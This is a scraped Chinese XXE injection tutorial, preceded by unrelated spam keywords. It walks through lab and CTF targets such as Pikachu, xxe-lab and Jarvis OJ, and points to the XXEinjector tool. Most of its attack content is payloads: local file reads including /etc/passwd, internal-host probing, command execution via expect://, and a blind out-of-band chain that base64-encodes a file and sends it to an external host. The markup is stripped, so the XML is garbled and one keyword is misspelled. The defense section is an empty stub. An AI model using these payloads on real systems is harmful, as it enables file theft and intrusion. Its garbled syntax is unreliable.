十堰最新新闻今天,怎么卸载windows优化大师,外贸网站建设哪家公司比较好,多个标签的网站模板文章目录 1、概述1.1、XML概念1.2、XML与HTML的主要差异1.3、XML代码示例 2、靶场演示2.1、Pikachu靶场--XML数据传输测试玩法-1-读取文件玩法-2-内网探针或攻击内网应用#xff08;触发漏洞地址#xff09;玩法-3-RCE引入外部实体DTD无回显-读取文件开启phpstudy--apache日志… 文章目录 1、概述1.1、XML概念1.2、XML与HTML的主要差异1.3、XML代码示例 2、靶场演示2.1、Pikachu靶场--XML数据传输测试玩法-1-读取文件玩法-2-内网探针或攻击内网应用触发漏洞地址玩法-3-RCE引入外部实体DTD无回显-读取文件开启phpstudy--apache日志 3、XXE绕过4、XXE检测4.1、xxe-lab靶场4.2、CTF-Jarvis-OJ-Web-XXE4.3、Vulnhub/XXE Lab: 1 5、XXEinjection工具6、XXE安全防御 1、概述
1.1、XML概念
XML被设计为传输和存储数据XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素其焦点是数据的内容其把数据从HTML分离是独立于软件和硬件的信息传输工具。
XXE漏洞全称XMLExternal Entity Injection即xml外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XXE是XML的一个漏洞 XXE产生根本原因网站接受XML数据没有对xml进行过滤 1.2、XML与HTML的主要差异
XML被设计为传输和存储数据其焦点是数据的内容。
HTML被设计用来显示数据其焦点是数据的外观。
HTML旨在**显示信息而XML旨在传输信息**。
1.3、XML代码示例
!--文档类型定义--
!DOCTYPE note [ !--定义此文档时note类型的文档--
!ELEMENT note (to,from,heading,body) !--定义note元素有四个元素--
!ELEMENT to (#PCDATA) !--定义to元素为#PCDATA类型--
!ELEMENT from (#PCDATA) !--定义from元素为#PCDATA类型--
!ELEMENT head (#PCDATA) !--定义head元素为#PCDATA类型--
!ELEMENT body (#PCDATA) !--定义body元素为#PCDATA类型--
]]]!--文档元素--
notetoDave/tofromTom/fromheadReminder/headbodyYou are a good man/body
/note2、靶场演示
2.1、Pikachu靶场–XML数据传输测试 -回显玩法协议引入 玩法-1-读取文件
前提读取的文件必须存在
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM file:///C:/tmp/1.txt
]
xxxe;/x玩法-2-内网探针或攻击内网应用触发漏洞地址
?xml version 1.0 encodingUTF-8?
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTYTY rabbit SYSTEM http://192.168.8.3/1.php
]
xrabbit;/x上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描看一下端口是否开放
如果访问的文件不存在会显示如下图的信息 玩法-3-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM expect://id
]
xxxe;/xid是对于的执行的命令。实战情况比较难碰到
引入外部实体DTD
?xml version 1.0?
!DOCTYPE test [!ENTITY % file SYSTEM http://127.0.0.1/evil2.dtd%file;
]
xsend;/x把核心 代码写入evil2.dtd内容如下
!ENTITY send SYSTEM file:///C:/tmp/1.txt条件看对方的应用有没有禁用外部实体引用这也是防御XXE的一种措施 无回显-读取文件
先把靶场的回显代码注释掉 ?xml version 1.0?
!DOCTYPE test [!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourceC:/tmp/1.txt!ENTITY % dtd SYSTEM http://192.168.8.3:80/test.dtd%dtd;%send;
]#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtdtest.dtd
!ENTITY % payload!ENTITY #x25; send SYSTEM
http://192.168.8.3:80/?data%file;%payload;#去访问?data上面读到的数据开启phpstudy–apache日志 重启phpstudy就有了一个access.log 然后攻击无回显查看日志 解码网站https://www.bejson.com/enc/base64/ 3、XXE绕过
CTF XXE
4、XXE检测
4.1、xxe-lab靶场
xxe-lab靶场登录框xml数据传输测试–检查发现
靶场地址https://github.com/c0ny1/xxe-lab 请求头中如下Content-Type: application/xml;或者Content-Type: text/xml;Payload
?xml version1.0?
!DOCTYPE Mikasa [
!ENTITY test SYSTEM file:///C:/tmp/1.txt
]
userusernametest;/usernamepasswordMikasa/password/user4.2、CTF-Jarvis-OJ-Web-XXE
XXE安全真题复现–修改数据请求格式
地址http://web.jarvisoj.com:9882/ 点击Go!BurpSuite拦截
数据包为json格式 修改Content-Type
提交Payload
?xml version1.0?
!DOCTYPE ANY [
!ENTITY ss SYSTEM file:///etc/passwd
]
xss;/x4.3、Vulnhub/XXE Lab: 1 靶场地址XXE Lab: 1 下载地址Download (Mirror) 5、XXEinjection工具
XXE安全漏洞自动化注射脚本 工具
XXEinjector本身提供了非常非常丰富的操作选项所以大家在利用XXEinjector进行渗透测试之前请自习了解这些配置选项以最大限度地发挥XXEinjector的功能。当然了由于XXEinjector是基于Ruby开发的所以Ruby运行环境就是必须的了。这里建议在kali环境下运行
工具地址
https://github.com/enjoiz/XXEinjectorhttps://github.com/enjoiz/XXEinjector/archive/master.zip
工具使用
https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git6、XXE安全防御 php java python 过滤及禁用